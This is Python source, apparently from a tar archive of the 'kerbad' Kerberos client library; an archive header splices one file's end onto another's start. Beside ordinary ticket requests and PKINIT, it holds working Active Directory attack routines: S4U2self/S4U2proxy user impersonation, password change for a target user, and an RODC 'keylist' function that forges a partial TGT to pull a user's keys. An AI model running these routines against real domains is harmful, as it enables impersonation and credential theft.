await self.get_TGT() auth_package_name = 'Kerberos' now = self._now() ###### Calculating authenticator data authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) pa_data_auth = {} pa_data_auth['padata-type'] = PaDataType.TGS_REQ.value pa_data_auth['padata-value'] = AP_REQ(ap_req).dump() nonce = secrets.randbits(31) if is_dmsa: from kerbad.protocol.asn1_structs import S4UUserID, PA_S4U_X509_USER, S4UUserIDOptions from kerbad.protocol.encryption import make_checksum, Cksumtype # [MS-SFU] 2.2.2 PA_S4U_X509_USER user_id = {} user_id['nonce'] = nonce user_id['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': user_to_impersonate.get_principalname()}) user_id['crealm'] = user_to_impersonate.domain # Ensure the options set contains only valid and supported options user_id['options'] = S4UUserIDOptions(set(['signed-with-kun-27','unconditional-delegation'])) for_x509_user = {} for_x509_user['user-id'] = S4UUserID(user_id) enctype_to_checksum = { Enctype.DES_MD5: Cksumtype.MD5_DES, Enctype.DES3: Cksumtype.SHA1_DES3, Enctype.AES128: Cksumtype.SHA1_AES128, Enctype.AES256: Cksumtype.SHA1_AES256, Enctype.RC4: Cksumtype.MD4, Enctype.RC4_MD4: Cksumtype.HMAC_MD5, } cksumtype = enctype_to_checksum[self.kerberos_cipher_type] chksum_data = make_checksum(cksumtype, self.kerberos_session_key, 26, for_x509_user['user-id'].dump()) chksum = {} chksum['cksumtype'] = cksumtype chksum['checksum'] = chksum_data for_x509_user['checksum'] = Checksum(chksum) pa_for_user = {} pa_for_user['padata-type'] = int(PADATA_TYPE('FOR-X509-USER')) pa_for_user['padata-value'] = PA_S4U_X509_USER(for_x509_user).dump() else: ###### Calculating checksum data S4UByteArray = NAME_TYPE.PRINCIPAL.value.to_bytes(4, 'little', signed = False) S4UByteArray += user_to_impersonate.username.encode() S4UByteArray += user_to_impersonate.domain.encode() S4UByteArray += auth_package_name.encode() logger.debug('[S4U2self] S4UByteArray: %s' % S4UByteArray.hex()) logger.debug('[S4U2self] S4UByteArray: %s' % S4UByteArray) chksum_data = _HMACMD5.checksum(self.kerberos_session_key, 17, S4UByteArray) logger.debug('[S4U2self] chksum_data: %s' % chksum_data.hex()) chksum = {} chksum['cksumtype'] = int(CKSUMTYPE('HMAC_MD5')) chksum['checksum'] = chksum_data ###### Filling out PA-FOR-USER data for impersonation pa_for_user_enc = {} pa_for_user_enc['userName'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': user_to_impersonate.get_principalname()}) pa_for_user_enc['userRealm'] = user_to_impersonate.domain pa_for_user_enc['cksum'] = Checksum(chksum) pa_for_user_enc['auth-package'] = auth_package_name pa_for_user = {} pa_for_user['padata-type'] = int(PADATA_TYPE('PA-FOR-USER')) pa_for_user['padata-value'] = PA_FOR_USER_ENC(pa_for_user_enc).dump() ###### Constructing body if spn_user is not None: if isinstance(spn_user, str): spn_user = [spn_user] elif isinstance(spn_user, list): spn_user = spn_user else: spn_user = spn_user.get_principalname() else: spn_user = self.credential.username.split('/') krb_tgs_body = {} krb_tgs_body['kdc-options'] = KDCOptions(set(kdcopts)) krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.UNKNOWN.value, 'name-string': spn_user}) krb_tgs_body['realm'] = self.credential.domain.upper() krb_tgs_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) krb_tgs_body['nonce'] = nonce krb_tgs_body['etype'] = [self.kerberos_session_key.enctype] #[supp_enc.value] #selecting according to server's preferences krb_tgs_req = {} krb_tgs_req['pvno'] = krb5_pvno krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value krb_tgs_req['padata'] = [pa_data_auth, pa_for_user] krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body) req = TGS_REQ(krb_tgs_req) logger.debug('[S4U2self] Sending request to server') reply = await self.ksoc.sendrecv(req.dump()) if reply.name == 'KRB_ERROR': emsg = 'S4U2self failed!' if reply.native['error-code'] == 16: emsg = 'S4U2self: Failed to get S4U2self! Error code (16) indicates that delegation is not enabled for this account!' raise KerberosError(reply, emsg) logger.debug('[S4U2self] Got reply, decrypting...') tgs = reply.native encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug('[S4U2self] Got valid TGS reply') return tgs, encTGSRepPart, key # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/c920c148-8a9c-42e9-b8e9-db5755cd281b async def S4U2proxy(self, s4uself_ticket, spn_user): logger.debug('[S4U2proxy] Impersonating %s' % '/'.join(spn_user.get_principalname())) now = self._now() pa_pac_opts = {} pa_pac_opts['padata-type'] = int(PADATA_TYPE('PA-PAC-OPTIONS')) pa_pac_opts['padata-value'] = PA_PAC_OPTIONS({'value' : PA_PAC_OPTIONSTypes(set(['resource-based constrained delegation']))}).dump() authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) pa_tgs_req = {} pa_tgs_req['padata-type'] = PaDataType.TGS_REQ.value pa_tgs_req['padata-value'] = AP_REQ(ap_req).dump() krb_tgs_body = {} #krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','forwarded','renewable','renewable-ok', 'canonicalize'])) krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','constrained-delegation', 'canonicalize'])) krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname()}) krb_tgs_body['realm'] = self.credential.domain.upper() krb_tgs_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) krb_tgs_body['nonce'] = secrets.randbits(31) krb_tgs_body['etype'] = [self.kerberos_session_key.enctype] #[supp_enc.value] #selecting according to server's preferences krb_tgs_body['additional-tickets'] = [s4uself_ticket] krb_tgs_req = {} krb_tgs_req['pvno'] = krb5_pvno krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value krb_tgs_req['padata'] = [pa_tgs_req, pa_pac_opts] krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body) req = TGS_REQ(krb_tgs_req) reply = await self.ksoc.sendrecv(req.dump()) if reply.name == 'KRB_ERROR': emsg = 'S4U2proxy failed!' if reply.native['error-code'] == 16: emsg = 'S4U2proxy: Failed to get S4U2proxy! Error code (16) indicates that delegation is not enabled for this account!' raise KerberosError(reply, emsg) logger.debug('[S4U2proxy] Got server reply, decrypting...') tgs = reply.native encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug('[S4U2proxy] Got valid TGS reply') return tgs, encTGSRepPart, key def construct_apreq(self, tgs, encTGSRepPart, sessionkey, flags = None, seq_number = 0, ap_opts = [], cb_data = None): return construct_apreq_from_tgs_tgt( tgs, sessionkey, self.kerberos_TGT, flags = flags, seq_number = seq_number, ap_opts = ap_opts, cb_data = cb_data, now=self._now() ) async def getST(self, target_user, service_spn): tgs, encTGSRepPart, key = await self.S4U2self(target_user) return await self.S4U2proxy(tgs['ticket'], service_spn) def decrypt_asrep_cert(self, as_rep): def truncate_key(value, keysize): output = b'' currentNum = 0 while len(output) < keysize: currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest() if len(output) + len(currentDigest) > keysize: output += currentDigest[:keysize - len(output)] break output += currentDigest currentNum += 1 return output for pa in as_rep['padata']: if pa['padata-type'] == 17: pkasrep = PA_PK_AS_REP.load(pa['padata-value']).native break else: raise Exception('PA_PK_AS_REP not found!') try: sd = cms.SignedData.load(pkasrep['dhSignedData']).native except: sd = cms.SignedData.load(pkasrep['dhSignedData'][19:]).native # !!!!!!!!!!!!! TODO: CHECKTHIS!!! Sometimes there is an OID before the struct?! keyinfo = sd['encap_content_info'] if keyinfo['content_type'] != '1.3.6.1.5.2.3.2': raise Exception('Keyinfo content type unexpected value') authdata = KDCDHKeyInfo.load(keyinfo['content']).native pubkey = int(''.join(['1'] + [str(x) for x in authdata['subjectPublicKey']]), 2) pubkey = int.from_bytes(core.BitString(authdata['subjectPublicKey']).dump()[7:], 'big', signed = False) # !!!!!!!!!!!!! TODO: CHECKTHIS!!! shared_key = self.credential.dhparams.exchange(pubkey) server_nonce = pkasrep['serverDHNonce'] fullKey = shared_key + self.credential.dhparams.dh_nonce + server_nonce etype = as_rep['enc-part']['etype'] cipher = _enctype_table[etype] if etype == Enctype.AES256: self.pkinit_tkey = truncate_key(fullKey, 32) elif etype == Enctype.AES128: self.pkinit_tkey = truncate_key(fullKey, 16) elif etype == Enctype.RC4: raise NotImplementedError('RC4 key truncation documentation missing. it is different from AES') #self.pkinit_tkey = truncate_key(fullKey, 16) key = Key(cipher.enctype, self.pkinit_tkey) enc_data = as_rep['enc-part']['cipher'] dec_data = cipher.decrypt(key, 3, enc_data) encasrep = EncASRepPart.load(dec_data).native cipher = _enctype_table[ int(encasrep['key']['keytype'])] session_key = Key(cipher.enctype, encasrep['key']['keyvalue']) return encasrep, session_key, cipher async def get_referral_ticket(self, target_domain, target_ip = None, prev_sname = None): """Cross domain TGT referral""" """If target_ip is not set, the target domain will be used as the hostname for the newly created connection""" from kerbad.common.factory import KerberosClientFactory from kerbad.common.kirbi import Kirbi crossrealm_spn = KerberosSPN() crossrealm_spn.username = target_domain crossrealm_spn.service = 'krbtgt' crossrealm_spn.domain = self.credential.domain.upper() await self.get_TGT() logger.debug('Getting TGS for otherdomain krbtgt') tgs, encpart, key = await self.get_TGS(crossrealm_spn) logger.debug('Got referral ticket!') for _ in range(10): # 10 is arbitrary, but I fail to imagine a scenario where we would need more than 10 referrals sname = encpart['sname']['name-string'][1].upper() if prev_sname == sname: # the original domain name was not canonical but we got the same krbtgt, so we can use this ticket break prev_sname = sname if sname == target_domain.upper(): break # otherwise we have to do this again with the new krbtgt logger.debug('The referral ticket is not for the target domain, getting new referral ticket from %s' % sname) kirbi = Kirbi.from_ticketdata(tgs, encpart) newt = self.target.get_newtarget(sname, port=88) newc = KerberosCredential.from_kirbi(kirbi, encoding='kirbi') try: new_factory = KerberosClientFactory(newt, newc, newt.proxies) newclient = new_factory.get_client() tgs, encpart, key, new_factory = await newclient.get_referral_ticket(target_domain, target_ip, prev_sname) except Exception as e: # wrapping it here in an exception so that the domain name information can be propagated up raise Exception('Failed to get referral ticket from domain "%s"! Reason: %s' % (sname, str(e))) kirbi = Kirbi.from_ticketdata(tgs, encpart) target_addr = target_domain if target_ip is not None: target_addr = target_ip newt = self.target.get_newtarget(target_addr, port=88) newc = KerberosCredential.from_kirbi(kirbi, encoding='kirbi') new_factory = KerberosClientFactory(newt, newc, newt.proxies) return tgs, encpart, key, new_factory async def change_password(self, new_password:str, subkey = None, targetuser:str = None, targetrealm:str = None, hostname:str ='localhost') -> KRB5CHPWReply: """ Changes the password of the current user """ if not self.kerberos_TGT: logger.debug('[ChangePassword] TGT is not available! Fetching TGT...') await self.get_TGT() if subkey is None: subkeydata = os.urandom(self.kerberos_cipher.keysize) subkey = Key(self.kerberos_cipher.enctype, subkeydata) now = self._now() ###### Encrypting the new password #enc_data = self.kerberos_cipher.encrypt(subkey, 5, new_password.encode(), None) subkey_struct = EncryptionKey({'keytype': subkey.enctype, 'keyvalue': subkeydata}) subkey_cipher = _enctype_table[subkey.enctype] changepwstruct = {} changepwstruct['newpasswd'] = new_password.encode() if targetuser is not None: if targetuser.find('@') != -1: targetuser, targetrealm = targetuser.split('@') changepwstruct['targname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [targetuser]}) changepwstruct['targrealm'] = targetrealm if targetrealm is not None else self.credential.domain.upper() else: changepwstruct['targname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [self.credential.username]}) changepwstruct['targrealm'] = self.credential.domain.upper() privstruct = {} privstruct['user-data'] = ChangePasswdDataMS(changepwstruct).dump() privstruct['seq-number'] = 0 privstruct['s-address'] = HostAddress({'addr-type': 1, 'address': hostname.encode()}) privdata = KRB_PRIV({ 'pvno': krb5_pvno, 'msg-type': MESSAGE_TYPE.KRB_PRIV.value, 'enc-part': EncryptedData({'etype': subkey.enctype, 'cipher': subkey_cipher.encrypt(subkey, 13, EncKrbPrivPart(privstruct).dump(), None)}) }).dump() ###### Calculating authenticator data authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm']) authenticator_data['cname'] = self.kerberos_TGT['cname'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data['seq-number'] = 0 authenticator_data['subkey'] = subkey_struct authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 11, Authenticator(authenticator_data).dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket']) ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc}) ap_req_encoded = AP_REQ(ap_req).dump() message = KRB5ChangePassword(ap_req_encoded, privdata).to_bytes() logger.debug('[ChangePassword] Sending request to server') newt = self.target.get_newtarget(self.target.get_hostname_or_ip(), port=464) ksocket = AIOKerberosPWChangeClientSocket(newt) response = await ksocket.sendrecv(message) reply = KRB5ChangePassword.from_bytes(response) privresponse = reply.parse_reply(subkey_cipher, subkey) return privresponse # Handle clock skew explicitly, rather than relying on transparent error handling # silent failures can introduce hard-to-debug issues later in the Kerberos authentication flow of the parent process async def with_clock_skew(self, func, *args, **kwargs): """ Calls the given function with arguments. If a KerberosError with KRB_AP_ERR_SKEW is raised, computes the clock skew, sets self.clock_skew, and retries the function once. Usage: client.with_clock_skew(client.get_TGS, spn) """ try: return await func(*args, **kwargs) except KerberosError as e: if getattr(e, 'errorcode', None) == KerberosErrorCode.KRB_AP_ERR_SKEW: server_time = e.krb_err_msg['stime'] local_time = datetime.datetime.now(datetime.timezone.utc) self.clock_skew = server_time - local_time logger.warning(f"Clock skew detected. Adjusting local time by {self.clock_skew}. Retrying operation.") return await func(*args, **kwargs) raise async def keylist(self, targetuser:str, targetrealm:str = None): """ To be used with an RODC krbtgt_##### account. This function creates and sends a TGS request to the KDC service, posing as the krbtgt_##### account and requests the keylist of the target user. """ parts = self.credential.username.split('_') if len(parts) == 2: kdcnum = int(parts[1]) else: kdcnum = 0 # first we must find the key type used for the krbtgt account # we prefer AES256, then AES128, then RC4 krbtgt_enctype = self.credential.get_preferred_enctype( [ EncryptionType.AES256_CTS_HMAC_SHA1_96, EncryptionType.AES128_CTS_HMAC_SHA1_96, EncryptionType.ARCFOUR_HMAC_MD5 ] ) if krbtgt_enctype is None: raise ValueError('No preferred enctype found for krbtgt account!') krbtgt_key_data = self.credential.get_key_for_enctype(krbtgt_enctype) krbtgt_key = Key(krbtgt_enctype.value, krbtgt_key_data) krbtgt_cipher = _enctype_table[krbtgt_enctype.value] # create random session key, enctype doesn't really matter here # since we are in the position to decide # using AES256 because why not sessionkey_data = os.urandom(32) # 32 bytes for AES256 sessionkey_enctype = EncryptionType.AES256_CTS_HMAC_SHA1_96 sessionkey = Key(sessionkey_enctype.value, sessionkey_data) #create encticket, continaing session key encticket_key = EncryptionKey( { 'keytype': sessionkey_enctype.value, 'keyvalue': sessionkey_data } ) now = datetime.datetime.now(datetime.timezone.utc) encticket = {} encticket['flags'] = TicketFlags(set(['forwarded', 'renewable', 'enc-pa-rep'])) encticket['key'] = encticket_key encticket['crealm'] = targetrealm if targetrealm is not None else self.credential.domain.upper() encticket['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [targetuser]}) encticket['transited'] = TransitedEncoding({'tr-type': 0, 'contents': b''}) encticket['authtime'] = now.replace(microsecond=0) encticket['starttime'] = now.replace(microsecond=0) endtime = now + datetime.timedelta(days=100) encticket['endtime'] = endtime encticket['renew-till'] = endtime encticket = EncTicketPart(encticket) encticket_enc = krbtgt_cipher.encrypt(krbtgt_key, 2, encticket.dump(), None) partial_tgt_data = {} partial_tgt_data['pvno'] = krb5_pvno partial_tgt_data['realm'] = self.credential.domain.upper() partial_tgt_data['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': ['krbtgt', self.credential.domain.upper()]}) partial_tgt_data['msg-type'] = MESSAGE_TYPE.KRB_TGS_REP.value partial_tgt_data['enc-part'] = EncryptedData( { 'kvno': kdcnum << 16, 'etype': krbtgt_enctype.value, 'cipher': encticket_enc } ) authenticator_data = {} authenticator_data['authenticator-vno'] = krb5_pvno #authenticator_data['crealm'] = partial_tgt_data['realm'] authenticator_data['crealm'] = encticket['crealm'] authenticator_data['cusec'] = now.microsecond authenticator_data['ctime'] = now.replace(microsecond=0) authenticator_data['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [targetuser]}) authenticator = Authenticator(authenticator_data) cipher = _enctype_table[EncryptionType.AES256_CTS_HMAC_SHA1_96.value] enc_authenticator = cipher.encrypt(sessionkey, 7, authenticator.dump(), None) ap_req = {} ap_req['pvno'] = krb5_pvno ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value ap_req['ap-options'] = APOptions(set()) ap_req['authenticator'] = EncryptedData({'etype': EncryptionType.AES256_CTS_HMAC_SHA1_96.value, 'cipher': enc_authenticator}) ap_req['ticket'] = Ticket({ 'tkt-vno': krb5_pvno, 'realm': partial_tgt_data['realm'], 'sname': partial_tgt_data['sname'], 'enc-part': partial_tgt_data['enc-part'] } ) pa_data_1 = {} pa_data_1['padata-type'] = PaDataType.TGS_REQ.value pa_data_1['padata-value'] = AP_REQ(ap_req).dump() pa_data_2 = {} pa_data_2['padata-type'] = PaDataType.KEY_LIST_REQ.value #pa_data_2['padata-value'] = KERB_KEY_LIST_REQ([23, 17, 18]).dump() pa_data_2['padata-value'] = KERB_KEY_LIST_REQ([ EncryptionType.AES256_CTS_HMAC_SHA1_96.value, EncryptionType.AES128_CTS_HMAC_SHA1_96.value, EncryptionType.ARCFOUR_HMAC_MD5.value, EncryptionType.DES_CBC_CRC.value, EncryptionType.DES_CBC_MD5.value, ]).dump() tgs_body_data = {} tgs_body_data['kdc-options'] = KDCOptions(set(['canonicalize'])) tgs_body_data['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': ['krbtgt', self.credential.domain.upper()]}) tgs_body_data['realm'] = partial_tgt_data['realm'] tgs_body_data['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) tgs_body_data['nonce'] = secrets.randbits(31) #tgs_body_data['etype'] = [23, 17, 18, -128] tgs_body_data['etype'] = [ EncryptionType.AES256_CTS_HMAC_SHA1_96.value, EncryptionType.AES128_CTS_HMAC_SHA1_96.value, EncryptionType.ARCFOUR_HMAC_MD5.value, EncryptionType.DES_CBC_CRC.value, EncryptionType.DES_CBC_MD5.value, ] tgs_req_data = {} tgs_req_data['pvno'] = krb5_pvno tgs_req_data['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value tgs_req_data['padata'] = [pa_data_1, pa_data_2] tgs_req_data['req-body'] = KDC_REQ_BODY(tgs_body_data) tgs_req = TGS_REQ(tgs_req_data) logger.debug('[KeylistPartial] Sending request to server') reply = await self.ksoc.sendrecv(tgs_req.dump()) if reply.name == 'KRB_ERROR': raise KerberosError(reply, 'KeylistPartial failed!') logger.debug('[KeylistPartial] Got TGS reply, decrypting...') tgs = reply.native cipher = _enctype_table[int(tgs['enc-part']['etype'])] encTGSRepPart = EncTGSRepPart.load(cipher.decrypt(sessionkey, 8, tgs['enc-part']['cipher'])).native self.ccache.add_tgs(tgs, encTGSRepPart) logger.debug('[KeylistPartial] Got valid TGS reply') return tgs, encTGSRepPart, sessionkey ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756986899.0 kerbad-0.5.10/kerbad/client.py0000777000175000000000000010431015056277023015216 0ustar00silverrootimport collections import datetime import secrets from typing import List, Dict from unicrypto import hashlib from kerbad import logger from kerbad.common.ccache import CCACHE from kerbad.network.clientsocket import KerberosClientSocket from kerbad.protocol.asn1_structs import METHOD_DATA, ETYPE_INFO, ETYPE_INFO2, \ PADATA_TYPE, PA_PAC_REQUEST, PA_ENC_TS_ENC, EncryptedData, krb5_pvno, KDC_REQ_BODY, \ AS_REQ, TGS_REP, KDCOptions, PrincipalName, EncASRepPart, EncTGSRepPart, PrincipalName, Realm, \ Checksum, APOptions, Authenticator, Ticket, AP_REQ, TGS_REQ, CKSUMTYPE, \ PA_FOR_USER_ENC, PA_PAC_OPTIONS, PA_PAC_OPTIONSTypes, EncTicketPart from kerbad.protocol.errors import KerberosErrorCode, KerberosError from kerbad.protocol.encryption import Key, _enctype_table, _HMACMD5, Enctype from kerbad.protocol.constants import PaDataType, EncryptionType, NAME_TYPE, MESSAGE_TYPE from kerbad.protocol.structures import AuthenticatorChecksum from kerbad.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ from kerbad.common.creds import KerberosCredential from kerbad.common.target import KerberosTarget from kerbad.common.spn import KerberosSPN from kerbad.protocol.ticketutils import construct_apreq_from_tgs_tgt from asn1crypto import cms from asn1crypto import core class KerbrosClient: def __init__(self, ccred:KerberosCredential, target:KerberosTarget): self.credential = ccred self.target = target self.ksoc = KerberosClientSocket(self.target) self.ccache = CCACHE() if ccred.ccache is None else ccred.ccache self.kerberos_session_key = None self.kerberos_TGT = None self.kerberos_TGT_encpart = None self.kerberos_TGS = None self.kerberos_cipher = None self.kerberos_cipher_type = None self.kerberos_key = None self.server_salt = None self.pkinit_tkey = None self.clock_skew = None def _now(self): now = datetime.datetime.now(datetime.timezone.utc) if self.clock_skew is not None: logger.debug(f"Adjusting time with clock skew of {self.clock_skew}") return now + self.clock_skew return now def build_asreq_lts(self, supported_encryption_method, kdcopts:List[str] = ['forwardable','renewable','proxiable'], enctimestamp=None, newnow=None, no_preauth = False, kdc_req_body_extra = None, with_pac:bool = True) -> AS_REQ: logger.debug('Constructing TGT request with auth data') #now to create an AS_REQ with encrypted timestamp for authentication padatas = [] if with_pac is True: pa_data_1 = {} pa_data_1['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST')) pa_data_1['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump() padatas.append(pa_data_1) logger.debug('Selecting common encryption type: %s' % supported_encryption_method.name) now = self._now() if no_preauth is False: if enctimestamp is None: #creating timestamp asn1 timestamp = PA_ENC_TS_ENC({'patimestamp': now.replace(microsecond=0), 'pausec': now.microsecond}).dump() self.kerberos_cipher = _enctype_table[supported_encryption_method.value] self.kerberos_cipher_type = supported_encryption_method.value self.kerberos_key = Key(self.kerberos_cipher.enctype, self.credential.get_key_for_enctype(supported_encryption_method, salt = self.server_salt)) enc_timestamp = self.kerberos_cipher.encrypt(self.kerberos_key, 1, timestamp, None) else: now = newnow enc_timestamp = enctimestamp pa_data_2 = {} pa_data_2['padata-type'] = int(PADATA_TYPE('ENC-TIMESTAMP')) pa_data_2['padata-value'] = EncryptedData({'etype': supported_encryption_method.value, 'cipher': enc_timestamp}).dump() padatas.append(pa_data_2) kdc_req_body = {} kdc_req_body['kdc-options'] = KDCOptions(set(kdcopts)) kdc_req_body['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': self.credential.username.split('/')}) kdc_req_body['realm'] = self.credential.domain.upper() kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': ['krbtgt', self.credential.domain.upper()]}) kdc_req_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body['nonce'] = secrets.randbits(31) kdc_req_body['etype'] = self.credential.get_supported_enctypes() #gives all client supported etypes in case server does not support the selected one if kdc_req_body_extra is not None: for key in kdc_req_body_extra: kdc_req_body[key] = kdc_req_body_extra[key] kdc_req = {} kdc_req['pvno'] = krb5_pvno kdc_req['msg-type'] = MESSAGE_TYPE.KRB_AS_REQ.value kdc_req['padata'] = padatas kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body) return AS_REQ(kdc_req) def build_asreq_pkinit(self, supported_encryption_method, kdcopts = ['forwardable','renewable','renewable-ok'], with_pac:bool = True) -> AS_REQ: from asn1crypto import keys if supported_encryption_method.value == 23: raise Exception('RC4 encryption is not supported for certificate auth!') now = self._now() kdc_req_body_data = {} kdc_req_body_data['kdc-options'] = KDCOptions(set(kdcopts)) kdc_req_body_data['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': self.credential.username.split('/')}) kdc_req_body_data['realm'] = self.credential.domain.upper() kdc_req_body_data['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': ['krbtgt', self.credential.domain.upper()]}) kdc_req_body_data['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body_data['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body_data['nonce'] = secrets.randbits(31) kdc_req_body_data['etype'] = self.credential.get_supported_enctypes() #gives all client supported etypes in case server does not support the selected one kdc_req_body = KDC_REQ_BODY(kdc_req_body_data) checksum = hashlib.sha1(kdc_req_body.dump()).digest() authenticator = {} authenticator['cusec'] = now.microsecond authenticator['ctime'] = now.replace(microsecond=0) authenticator['nonce'] = secrets.randbits(31) authenticator['paChecksum'] = checksum dp = {} dp['p'] = self.credential.dhparams.p dp['g'] = self.credential.dhparams.g dp['q'] = 0 # mandatory parameter, but it is not needed pka = {} pka['algorithm'] = '1.2.840.10046.2.1' pka['parameters'] = keys.DomainParameters(dp) spki = {} spki['algorithm'] = keys.PublicKeyAlgorithm(pka) spki['public_key'] = self.credential.dhparams.get_public_key() authpack = {} authpack['pkAuthenticator'] = PKAuthenticator(authenticator) authpack['clientPublicValue'] = keys.PublicKeyInfo(spki) authpack['clientDHNonce'] = self.credential.dhparams.dh_nonce authpack = AuthPack(authpack) signed_authpack = self.credential.sign_authpack(authpack.dump(), wrap_signed = True) payload = PA_PK_AS_REQ() payload['signedAuthPack'] = signed_authpack padatas = [] if with_pac is True: pa_data_0 = {} pa_data_0['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST')) pa_data_0['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump() padatas.append(pa_data_0) pa_data_1 = {} pa_data_1['padata-type'] = PaDataType.PK_AS_REQ.value pa_data_1['padata-value'] = payload.dump() padatas.append(pa_data_1) asreq = {} asreq['pvno'] = 5 asreq['msg-type'] = 10 asreq['padata'] = padatas asreq['req-body'] = kdc_req_body return AS_REQ(asreq) def do_preauth(self, supported_encryption_method, kdcopts = ['forwardable','renewable','renewable-ok'], with_pac:bool = True): if self.credential.certificate is not None: req = self.build_asreq_pkinit(supported_encryption_method, kdcopts, with_pac=with_pac) else: req = self.build_asreq_lts(supported_encryption_method, kdcopts, with_pac=with_pac) logger.debug('Sending TGT request to server') rep = self.ksoc.sendrecv(req.dump()) if rep.name == 'KRB_ERROR': raise KerberosError(rep, 'Preauth failed!') return rep def tgt_from_ccache(self): try: if self.ccache is None: raise Exception('No CCACHE file found') tgt, keystruct, err = self.ccache.get_tgt(self.credential.username, self.credential.domain, self.credential.ccache_spn_strict_check) if err is not None: raise err self.kerberos_TGT = tgt self.kerberos_TGT_encpart = tgt['enc-part'] self.kerberos_session_key = Key(keystruct['keytype'], keystruct['keyvalue']) self.kerberos_cipher = _enctype_table[keystruct['keytype']] self.kerberos_cipher_type = keystruct['keytype'] return True, None except Exception as e: return None, e def select_preferred_encryption_method(self, rep): #now getting server's supported encryption methods supp_enc_methods = collections.OrderedDict() for enc_method in METHOD_DATA.load(rep['e-data']).native: data_type = PaDataType(enc_method['padata-type']) if data_type == PaDataType.ETYPE_INFO or data_type == PaDataType.ETYPE_INFO2: if data_type == PaDataType.ETYPE_INFO: enc_info_list = 